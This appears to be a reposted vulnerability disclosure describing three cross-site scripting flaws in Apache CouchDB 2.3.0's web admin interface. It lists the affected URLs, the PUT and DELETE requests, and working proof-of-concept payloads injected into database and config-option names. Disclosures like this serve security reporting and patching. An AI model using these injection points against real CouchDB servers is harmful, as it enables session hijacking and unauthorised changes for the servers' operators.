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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
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# Exploit Title: Apache CouchDB 2.3.0 | Cross-Site Scripting
# Date: 17.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://couchdb.apache.org
# Software Link: http://couchdb.apache.org/#download
# Version: 2.3.0
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Introduction

A CouchDB server hosts named databases, which store documents. Each
document is uniquely named in the database, and CouchDB provides a RESTful
HTTP API for reading and updating (add, edit, delete) database documents.

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XSS details: DOM Based & Reflected & Stored

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XSS1 | DOM Based - Create Database

URL
http://127.0.0.1:5984/_utils/#/_all_dbs


PAYLOAD
<img src=x onerror=alert(1)>

<input id="js-new-database-name" type="text" class="input-xxlarge"
placeholder="Name of database" value="<img src=x onerror=alert(1)>">

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XSS2 | DOM Based & Stored - Add Option

URL
http://127.0.0.1:5984/_utils/#_config/couchdb@localhost
http://127.0.0.1:5984/_node/couchdb@localhost/_config/1/%3Cimg%20src%3Dx%20onerror%3Dalert(2)%3E

METHOD
Put

PAYLOAD
<img src=x onerror=alert(2)>

<input class="input-option-name" type="text" name="name" placeholder="Name">

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XSS3 | DOM Based & Stored - Delete Option

URL
http://127.0.0.1:5984/_utils/#_config/couchdb@localhost
http://127.0.0.1:5984/_node/couchdb@localhost/_config/1/%3Cimg%20src%3Dx%20onerror%3Dalert(2)%3E

METHOD
Delete

PAYLOAD
<img src=x onerror=alert(2)>

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